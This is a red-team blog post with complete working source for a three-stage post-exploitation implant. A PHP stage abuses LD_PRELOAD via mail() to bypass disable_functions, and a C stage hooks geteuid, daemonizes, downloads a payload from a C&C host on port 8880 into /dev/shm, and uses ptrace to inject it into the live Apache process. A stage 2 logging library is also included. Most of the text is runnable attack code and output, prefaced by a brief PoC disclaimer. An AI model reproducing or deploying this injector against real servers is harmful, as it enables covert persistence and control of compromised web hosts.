Parasiting web server process with webshells in permissive environments

Some time ago in a Red Team operation I bypassed an uploader and deployed a little webshell. I had to bypass disable_functions and open_basedir using the trick that I explained in this article (and I released a tool called Chankro to automate this process). Before continuing reading this article, please read and understand how the bypass of disable_functions works because we are going to rely on it to perform this attack later.

After few minutes looking for juicy files with passwords or configurations in the compromised server I found something really interesting: a configuration script with these lines inside:

```
...
echo 1 > /proc/sys/fs/suid_dumpable
echo 0 > /proc/sys/kernel/yama/ptrace_scope
...
```

Probably this configuration is used in dev servers to allow some kind of debugging (basically we can use ptrace in any process of our user, even if it just dropped privileges -more info here and here). In our case, this is a great opportunity to test something I had in my head: use our own webshell to parasite a legitimate process in the server.

The idea is taken directly from this post called Linux ptrace introduction AKA injecting into sshd for fun and a lot of code will be reused (I do not like to reinvent the wheel).

Road to inject code in a legitimate Apache process

Our objective is to inject arbitrary code in an Apache process (the one that is running our PHP webshell), so we can use this process to contact our C&C and keep a Plan B to retake the control of the server. We are going to do all of this with the user that runs our webshell (www-data in my example). So the main idea is to split the operation in 3 stages:

- **Stage 0**: a PHP script that will execute mail() and set LD_PRELOAD with our Stage 1 (read the article where I talk about how to bypass disable_functions). It will pass the PID to infect as an env var.
- **Stage 1**: a shared object that will be loaded by sendmail. It contains a hook that will contact our C&C, download our stage 2, and inject it in the process that is executing our webshell.
- **Stage 2**: just a shared object. When this is loaded it will write a log to /tmp, so we can verify that the injection was correct.

So... Lets go!

Injecting code with ptrace [The lazy way]

In our stage 1 we will need to hook a function called in sendmail in order to trigger our infector, we need a skeleton similar to:

```
void pwn(void) {
        //Our infector
}

void daemonize(void) {
        signal(SIGHUP, SIG_IGN);
        if (fork() != 0) {
                exit(EXIT_SUCCESS);
        }
}

uid_t geteuid() {
```

```
  uid_t (*orig_geteuid)();
  orig_geteuid = dlsym(RTLD_NEXT, "geteuid");
  unsetenv("LD_PRELOAD");
  daemonize();
  pwn();
  return orig_geteuid();
}
```

If we check the libs loaded by an Apache process we can notice that libdl is already loaded:

```
gidorah@kaiju:~|⇒  sudo cat /proc/15922/maps | grep libdl
7f4b292a7000-7f4b292aa000 r-xp 00000000 08:01 2360320                    /lib/x86_64-linux-gnu/libdl-2.19.so
7f4b292aa000-7f4b294a9000 ---p 00003000 08:01 2360320                    /lib/x86_64-linux-gnu/libdl-2.19.so
7f4b294a9000-7f4b294aa000 r--p 00002000 08:01 2360320                    /lib/x86_64-linux-gnu/libdl-2.19.so
7f4b294aa000-7f4b294ab000 rw-p 00003000 08:01 2360320                    /lib/x86_64-linux-gnu/libdl-2.19.so
```

That is cool because things will be much easier. Our plan will be use this stage 1 to inject a little stub of code inside the target process, then change the program counter to point the address of our stub. Our stub will be just a call to dlopen() with our stage 2 and RLTD_LAZY as params (as libdl is loaded, we only need to recalculate the address of dlopen because of ASLR).

```
//Stub
void injectme(void) { // To do the call and SIGTRAP (int3 for debugging purposes)
    asm(
        "mov $2, %esi\n"
        "call *%rax\n"
        "int $0x03\n"
    );
}
```

First of all we are going to attach to the desired process with ptrace and save the registers at this moment (we do no want to crash our target process, so we need to restore everything to his natural state after our injection):

```
void infector(pid_t pid) {
    int p_check, waitpidstatus;
    struct user_regs_struct oldregs, regs;
    unsigned long long code_cave_address;
    unsigned char *oldcode;

    p_check = ptrace(PTRACE_ATTACH, pid, NULL, NULL);
    if (p_check < 0) {
        exit(-1);
    }
    if (waitpid(pid, &waitpidstatus, WUNTRACED) != pid) {
        exit(-1);
    }

    // Get a copy of current registers
    p_check = ptrace(PTRACE_GETREGS, pid, NULL, &oldregs);
    if (p_check < 0) {
        exit(-1);
    }

    // Oldregs is our backup, and regs will be a copy to edit
    memcpy(&regs, &oldregs, sizeof(struct user_regs_struct));
```

We need to locate a memory region in the remote process to write our code stub. To accomplish this mission we can retrieve an address by reading /proc/$PID/maps and searching for a r-x region.

```
// Find a region for our code cave
// Copied from https://github.com/gaffe23/linux-inject/blob/master/utils.c

unsigned long long freespaceaddr(pid_t pid)
{
    FILE *fp;
    char filename[30];
    char line[850];
    unsigned long long addr = NULL;
    char str[20];
    char perms[5];
    sprintf(filename, "/proc/%d/maps", pid);
    fp = fopen(filename, "r");
    if(fp == NULL)
        exit(1);
    while(fgets(line, 850, fp) != NULL)
    {
        sscanf(line, "%lx-%*lx %s %*s %s %*d", &addr, perms, str);

        if(strstr(perms, "r-xp") != NULL)
        {
            break;
        }
    }
    fclose(fp);
    return addr;
}
```

In order to read and write remote memory we will need primitives to speed up the process:

```
// Primitives are taken from https://github.com/xpn/ssh-inject/blob/master/inject.c
void ptraceRead(int pid, unsigned long long addr, void *data, int len) {
    long word = 0;
    int i = 0;
    char *ptr = (char *)data;

    for (i=0; i < len; i+=sizeof(word), word=0) {
        if ((word = ptrace(PTRACE_PEEKTEXT, pid, addr + i, NULL)) == -1) {;
            exit(1);
        }
        ptr[i] = word;
    }
}

void ptraceWrite(int pid, unsigned long long addr, void *data, int len) {
    long word = 0;
    int i=0;

    for(i=0; i < len; i+=sizeof(word), word=0) {
        memcpy(&word, data + i, sizeof(word));
        if (ptrace(PTRACE_POKETEXT, pid, addr + i, word) == -1) {;
            exit(1);
        }
    }
}
```

So, with all this code, we can: search for a r-x region, read memory and write memory. That is nice!. Have in mind that we will overwrite already-existing code in that memory region, so it **is really important before insert our code**. After our code is executed, we are going to restore it's original content. So do the backup:

```
        // Find a memory region with executable perms
    code_cave_address = freespaceaddr(pid) + sizeof(unsigned long long);
    if (!code_cave_address) {
        exit(-1);
    }

    // Backup whatever there is at that region
    oldcode = (unsigned char*) malloc(CAVE_SIZE);
    ptraceRead(pid, code_cave_address, oldcode, CAVE_SIZE);
```

Let's inject our code and modify registers (it is x86_64, so RAX must be the address of dlopen, RDI the location of our stage 2 and RSI the value of RTLD_LAZY). Of course we put RIP pointing to our stub (**injectme()**), so when the execution will be resumed our code will be executed:

```
// Now is time to overwrite the code cave with our code
    ptraceWrite(pid, code_cave_address, "/dev/shm/ko.so\x00", 16); // Stage 2 location
    ptraceWrite(pid, code_cave_address + 16, "\x90\x90\x90\x90\x90\x90\x90\x90", 8);
    ptraceWrite(pid, code_cave_address + 16 + 8, (&injectme) + 4, 32);

    // Change program counter to our inserted code
    regs.rip = code_cave_address + 16 + 8;

    // Now we need to follow the call convention so:
    // - RAX => must be the address of remote dlopen()
    // - RDI => address where "/dev/shm/ko.so" string lies (first dlopen parameter)
    // - RSI => RTLD_LAZY value -2- (second dlopen parameter)
    regs.rax = dlopen_addr(pid);
    regs.rdi = code_cave_address;
    regs.rsi = 2;
    ptrace(PTRACE_SETREGS, pid, NULL, &regs);
```

But wait, wait! How do we know the address of dlopen()? It is a bit tricky because ASLR: first we need to find the address in our own process and check the location of libdl in /proc/self/maps, so we can calculate the offset value. Then we check the libdl address at /proc/$PID/maps and add the offset value :)

```
// Use this function to calculate the dlopen() addr in remote pid
// This is needed because of ASLR :(
// IMPORTANT!!!! I hardcoded the name of the .so as LIBDLSO because it is just a PoC. You need to retrieve it at runtime
unsigned long long dlopen_addr(pid_t pid) {
    unsigned long long remote_libdl_base, offset_dlopen, remote_dlopen_address;
    void *local_libdl_base, *local_dlopen_address;
    char path[1024];
    char line[850];
    FILE *fp;

    // First we need to load libdl and save the address (debug purposes)
    local_libdl_base = dlopen(LIBDLSO, RTLD_LAZY);
    if (!local_libdl_base) {
        exit(-1);
    }

    // Next we are going to resolve the dlopen() symbol
    local_dlopen_address = dlsym(local_libdl_base, "dlopen");
    if (!local_dlopen_address) {
        exit(-1);
    }

    // Read local address
```

```
    fp = fopen("/proc/self/maps", "r");
    while(fgets(line, 850, fp) != NULL) {
        sscanf(line, "%llx-%*lx %*s %*s %*s %*d", &local_libdl_base);
        if (strstr(line, LIBDLSO) != NULL) {
            break;
        }
    }
    fclose(fp);
    // Calculate the offset (libdl  address - dlopen address)
    offset_dlopen = (unsigned long long) (local_dlopen_address - local_libdl_base);

    // Now we need to extract the remote libdl  address
    snprintf(path, sizeof(path), "/proc/%d/maps", pid);
    fp = fopen(path, "r");
    while(fgets(line, 850, fp) != NULL) {
        sscanf(line, "%llx-%*lx %*s %*s %*s %*d", &remote_libdl_base);
        if (strstr(line, LIBDLSO) != NULL) {
            break;
        }
    }
    fclose(fp);

    // And finally calculate the address of the remote dlopen
    remote_dlopen_address = remote_libdl_base + offset_dlopen;
    return remote_dlopen_address;
}
```

At this point we have:

- Our stub injected in the remote process
- The CPU registers in the correct state

So we only need to resume the execution and restore everything to his natural state:

```
   ptrace(PTRACE_CONT, pid, NULL, NULL);

        waitpid(pid, &waitpidstatus, WUNTRACED);
        ptrace(PTRACE_GETREGS, pid, NULL, &regs);

        // Now is time to restore everything to his original status :)
        ptraceWrite(pid, code_cave_address, oldcode, CAVE_SIZE);
        ptrace(PTRACE_SETREGS, pid, NULL, &oldregs);
        ptrace(PTRACE_DETACH, pid, NULL, NULL);
                free(oldcode);
```

Et voilà

```
gidorah@kaiju:|⇒  sudo cat /tmp/chivato
PID: 15922
gidorah@kaiju:~|⇒  sudo cat /proc/15922/maps | grep ko
7f4b19690000-7f4b19691000 r-xp 00000000 00:11 120413                     /dev/shm/ko.so
7f4b19691000-7f4b19890000 ---p 00001000 00:11 120413                     /dev/shm/ko.so
7f4b19890000-7f4b19891000 rw-p 00000000 00:11 120413                     /dev/shm/ko.so
gidorah@kaiju:~|⇒  ps -aux | grep 15922
www-data  15922  0.0  0.8 284892 16532 ?        S    13:07   0:00 /usr/sbin/apache2 -k start
```

PoC || GTFO

This is just a proof of concept, so do not use it in production servers or in real operations. Learn the technique and then use it carefully. Of course **everything here is based in a particular environment where ptrace_scope is 0 and suid_dumpable is set to 1**. That is not a default situation.

I put here the 3 stages to let you test it and play a bit in local. The **stage 1** will try to contact the TCP port 8880 to download the **stage 2**. This was designed like a binary before thinking it as a shared object, so it has tons of fprintf() as debug.

Sorry if the code makes you cry :(

Stage 0

```
<?php
/* NeuroChankro PoC - Stage 0 (x86_64) */
error_reporting(E_ALL);
// Save our PID so we can inject ourself here
putenv('NEUROCHANKRO=' . getmypid());
echo "Trying to inject at... " . getmypid();

// IP to contact and download the stage2
putenv('DOUBLEC=127.0.0.1');

// Do the magic
putenv('LD_PRELOAD=/var/www/html/neuro/stage1.so');
mail('a','a','a','a');
sleep(30);
?>
```

Stage 1

```c
/* NeuroChankro PoC - Stage 1 (x86_64) */

/* Just a simple PoC*/
/* Based on this https://blog.xpnsec.com/linux-process-injection-aka-injecting-into-sshd-for-fun/ */

#define _GNU_SOURCE


#include <arpa/inet.h>
#include <dlfcn.h>
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/mman.h>
#include <sys/ptrace.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/user.h>
#include <sys/types.h>
#include <unistd.h>
#include <wait.h>

#define LIBDLSO "libdl-2.19.so" // Just hardcoded because this is a PoC
#define CAVE_SIZE 500 // Totally random choice
#define SHM_NAME "ko.so"

// Check for ptrace_scope
int check_yama(void) {
    int fd;
    char scope[5];
    ssize_t n;

    fd = open("/proc/sys/kernel/yama/ptrace_scope", O_RDONLY);
    if (fd < 0) {
        fprintf(stderr, "[-] Error: could not open ptrace_scope\n");
        exit(-1);
    }

    n = read(fd, scope, 1);
    if (n < 0) {
        fprintf(stderr, "[-] Error: could not read ptrace_scope\n");
        close(fd);
        exit(-1);
    }
    close(fd);
    return atoi(scope);
}

// Find a region for our code cave
// Copied from https://github.com/gaffe23/linux-inject/blob/master/utils.c

unsigned long long freespaceaddr(pid_t pid)
{
    FILE *fp;
    char filename[30];
    char line[850];
    unsigned long long addr = NULL;
    char str[20];
    char perms[5];
    sprintf(filename, "/proc/%d/maps", pid);
    fp = fopen(filename, "r");
    if(fp == NULL)
        exit(1);
    while(fgets(line, 850, fp) != NULL)
    {
        sscanf(line, "%lx-%*lx %s %*s %s %*d", &addr, perms, str);

        if(strstr(perms, "r-xp") != NULL)
        {
            break;
        }
    }
    fclose(fp);
    return addr;
}

// Use this function to calculate the dlopen() addr in remote pid
// This is needed because of ASLR :(
// IMPORTANT!!!! I hardcoded the name of the .so as LIBDLSO because it is just a PoC. You need to retrieve it at runtime
unsigned long long dlopen_addr(pid_t pid) {
    unsigned long long remote_libdl_base, offset_dlopen, remote_dlopen_address;
    void *local_libdl_base, *local_dlopen_address;
    char path[1024];
    char line[850];
    FILE *fp;

    // First we need to load libdl and save the address (debug purposes)
    local_libdl_base = dlopen(LIBDLSO, RTLD_LAZY);
    if (!local_libdl_base) {
```

```
        fprintf(stderr, "[-] Error: could not load local %s\n", LIBDLSO);
        exit(-1);
    }
    fprintf(stderr, "[+] Local %s address at %p\n", LIBDLSO, local_libdl_base);

    // Next we are going to resolve the dlopen() symbol
    local_dlopen_address = dlsym(local_libdl_base, "dlopen");
    if (!local_dlopen_address) {
        fprintf(stderr, "[-] Error: local dlopen() not found!\n");
        exit(-1);
    }
    fprintf(stderr, "[+] Address of local dlopen at %p\n", local_dlopen_address);

    // Read local address
    fp = fopen("/proc/self/maps", "r");
    while(fgets(line, 850, fp) != NULL) {
        sscanf(line, "%llx-%*lx %*s %*s %*s %*d", &local_libdl_base);
        if (strstr(line, LIBDLSO) != NULL) {
            break;
        }
    }
    fclose(fp);
    // Calculate the offset (libdl address - dlopen address)
    offset_dlopen = (unsigned long long) (local_dlopen_address - local_libdl_base);
    fprintf(stderr, "[+] Offset of dlopen(): 0x%llx bytes\n", offset_dlopen);

    // Now we need to extract the remote libdl address
    snprintf(path, sizeof(path), "/proc/%d/maps", pid);
    fp = fopen(path, "r");
    while(fgets(line, 850, fp) != NULL) {
        sscanf(line, "%llx-%*lx %*s %*s %*s %*d", &remote_libdl_base);
        if (strstr(line, LIBDLSO) != NULL) {
            break;
        }
    }
    fclose(fp);
 fprintf(stderr, "[+] Remote %s address at 0x%llx\n", LIBDLSO, remote_libdl_base);

    // And finally calculate the address of the remote dlopen
    remote_dlopen_address = remote_libdl_base + offset_dlopen;
    fprintf(stderr, "[+] Remote dlopen() address at 0x%llx\n", remote_dlopen_address);
    return remote_dlopen_address;
}


// Primitives are taken from https://github.com/xpn/ssh-inject/blob/master/inject.c
void ptraceRead(int pid, unsigned long long addr, void *data, int len) {
    long word = 0;
    int i = 0;
    char *ptr = (char *)data;

    for (i=0; i < len; i+=sizeof(word), word=0) {
        if ((word = ptrace(PTRACE_PEEKTEXT, pid, addr + i, NULL)) == -1) {;
            fprintf(stderr, "[-] Error reading process memory\n");
            exit(1);
        }
        ptr[i] = word;
    }
}

void ptraceWrite(int pid, unsigned long long addr, void *data, int len) {
    long word = 0;
    int i=0;

    for(i=0; i < len; i+=sizeof(word), word=0) {
        memcpy(&word, data + i, sizeof(word));
        if (ptrace(PTRACE_POKETEXT, pid, addr + i, word) == -1) {;
            fprintf(stderr, "[-] Error writing to process memory\n");
            exit(1);
        }
    }
}

void injectme(void) { // To do the call and SIGTRAP (int3)
    asm(
        "mov $2, %esi\n"
        "call *%rax\n"
        "int $0x03\n"
    );
}
// Attach using ptrace
void infector(pid_t pid) {
    int p_check, waitpidstatus;
    struct user_regs_struct oldregs, regs;
    unsigned long long code_cave_address;
    unsigned char *oldcode;

    p_check = ptrace(PTRACE_ATTACH, pid, NULL, NULL);
    if (p_check < 0) {
        fprintf(stderr, "[-] Error: ptrace could not attach to given pid\n");
        exit(-1);
    }
    if (waitpid(pid, &waitpidstatus, WUNTRACED) != pid) {
        fprintf(stderr, "[-] Error: waitpid() failed!\n");
```

```
        exit(-1);
    }
    fprintf(stderr, "[+] Attached to process %d successfully!\n", pid);
    // Get a copy of registers
    p_check = ptrace(PTRACE_GETREGS, pid, NULL, &oldregs);
    if (p_check < 0) {
        fprintf(stderr, "[-] Error: could not retrieve cpu registers\n");
        exit(-1);
    }

    memcpy(&regs, &oldregs, sizeof(struct user_regs_struct));
    fprintf(stderr, "[+] CPU registers backup done!\n");

    // Find a memory region with executable perms
    code_cave_address = freespaceaddr(pid) + sizeof(unsigned long long);
    if (!code_cave_address) {
        fprintf(stderr, "[-] Error: executable region not found!\n");
        exit(-1);
    }

    fprintf(stderr, "[+] Possible region for a code cave located at 0x%llx\n", code_cave_address);

    // Backup whatever there is at that region
    oldcode = (unsigned char*) malloc(CAVE_SIZE);
    ptraceRead(pid, code_cave_address, oldcode, CAVE_SIZE);
    fprintf(stderr, "[+] Original code backup done!\n");

    // Now is time to overwrite the code cave with our code
    ptraceWrite(pid, code_cave_address, "/dev/shm/ko.so\x00", 16); // Shared Object location
    ptraceWrite(pid, code_cave_address + 16, "\x90\x90\x90\x90\x90\x90\x90\x90", 8);
    ptraceWrite(pid, code_cave_address + 16 + 8, (&injectme) + 4, 32);

    fprintf(stderr, "[+] Stub code injected!\n");

    // Change program counter to our inserted code
    regs.rip = code_cave_address + 16 + 8;

    // Now we need to follow the call convention so:
    // - RAX => must be the address of remote dlopen()
    // - RSI => address where "/tmp/inject.so" string lies (first dlopen parameter)
    // - RDI => RTLD_LAZY value -2- (second dlopen parameter)
    regs.rax = dlopen_addr(pid);
    regs.rdi = code_cave_address;
    regs.rsi = 2;
    ptrace(PTRACE_SETREGS, pid, NULL, &regs);
    fprintf(stderr, "[+] Remote process registers fixed!\n");

    // At this point everything is set to execute a dlopen("/tmp/inject.so, RTLD_LAZY) inside the remote process
    fprintf(stderr, "[+] Resuming the execution...\n");
    ptrace(PTRACE_CONT, pid, NULL, NULL);

    waitpid(pid, &waitpidstatus, WUNTRACED);
    ptrace(PTRACE_GETREGS, pid, NULL, &regs);
        if (regs.rax == 0) {
            fprintf(stderr, "[-] Error: dlopen() call failed!\n");
        } else {
            fprintf(stderr, "[+] It worked! Shared Object loaded at %p\n", regs.rax);
        }

        // Now is time to restore everything to his original status :)
        ptraceWrite(pid, code_cave_address, oldcode, CAVE_SIZE);
        ptrace(PTRACE_SETREGS, pid, NULL, &oldregs);
        ptrace(PTRACE_DETACH, pid, NULL, NULL);
        fprintf(stderr, "[+] Restore original status...\n");

    free(oldcode);
    fprintf(stderr, "[+] Finished!\n");
}

// Downloader
void download(void) {
    char recvBuff[2048];
    int sockfd, fd, size;
    struct sockaddr_in serv_addr;

    memset(recvBuff, 0, sizeof(recvBuff));

    if ((sockfd = socket(AF_INET, SOCK_STREAM,0)) < 0) {
        fprintf(stderr, "[-] Error: socket could not be created\n");
        exit(EXIT_FAILURE);
    }

    memset(&serv_addr, 0, sizeof(serv_addr));
    serv_addr.sin_family = AF_INET;
    serv_addr.sin_port = htons(8880);

    if (inet_pton(AF_INET, getenv("DOUBLEC"), &serv_addr.sin_addr) <= 0) {
        fprintf(stderr, "[-] Error: address is invalid\n");
        exit(EXIT_FAILURE);
    }

    if (connect(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0) {
        fprintf(stderr, "[-] Error: connect failed\n");
        exit(EXIT_FAILURE);
```

```
    }

    fd = shm_open(SHM_NAME, O_RDWR | O_CREAT, S_IRWXU);
    for(;;) {
        if ((size = read(sockfd, recvBuff, 2048)) <= 0) {
            break;
        }
        write(fd, recvBuff, size);
    }

    close(sockfd);
    close(fd);
}

void daemonize(void) {
        signal(SIGHUP, SIG_IGN);
            if (fork() != 0) {
                        exit(EXIT_SUCCESS);
                            }
}

void pwn(void) {
    fprintf(stderr, "====[ NeuroChankro Stage 1 ]====\n");

    // Check ptrace_scope
    fprintf(stderr, "[+] Checking ptrace_scope... ");
    if (check_yama() == 0) {
        fprintf(stderr, "value is 0\n");
    } else {
        fprintf(stderr, "value is not 0. Exiting...\n");
        exit(-1);
    }

    // Download Stage 2
    download();
    // Try to infect
    infector(atoi(getenv("NEUROCHANKRO")));
}

uid_t geteuid() {
  uid_t (*orig_geteuid)();
  orig_geteuid = dlsym(RTLD_NEXT, "geteuid");
  unsetenv("LD_PRELOAD");
  daemonize();
  pwn();
  return orig_geteuid();
}
```

Stage 2

```
// Stage 2 - Just log to know that everything worked
#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>

void __attribute__ ((constructor)) alert_init(void);

void alert_init(void) {
    FILE *fp;
    char chivato[20];
    snprintf(chivato, sizeof(chivato), "PID: %d", getpid());
    fp = fopen("/tmp/chivato", "w");
    fwrite(chivato, 1, strlen(chivato) + 1, fp);
    fclose(fp);
}
```

Final words

I wrote this article without time, so maybe I could make mistakes. Please ping me at twitter (@TheXC3LL) if you find any mistake so I can correct it. Thank you!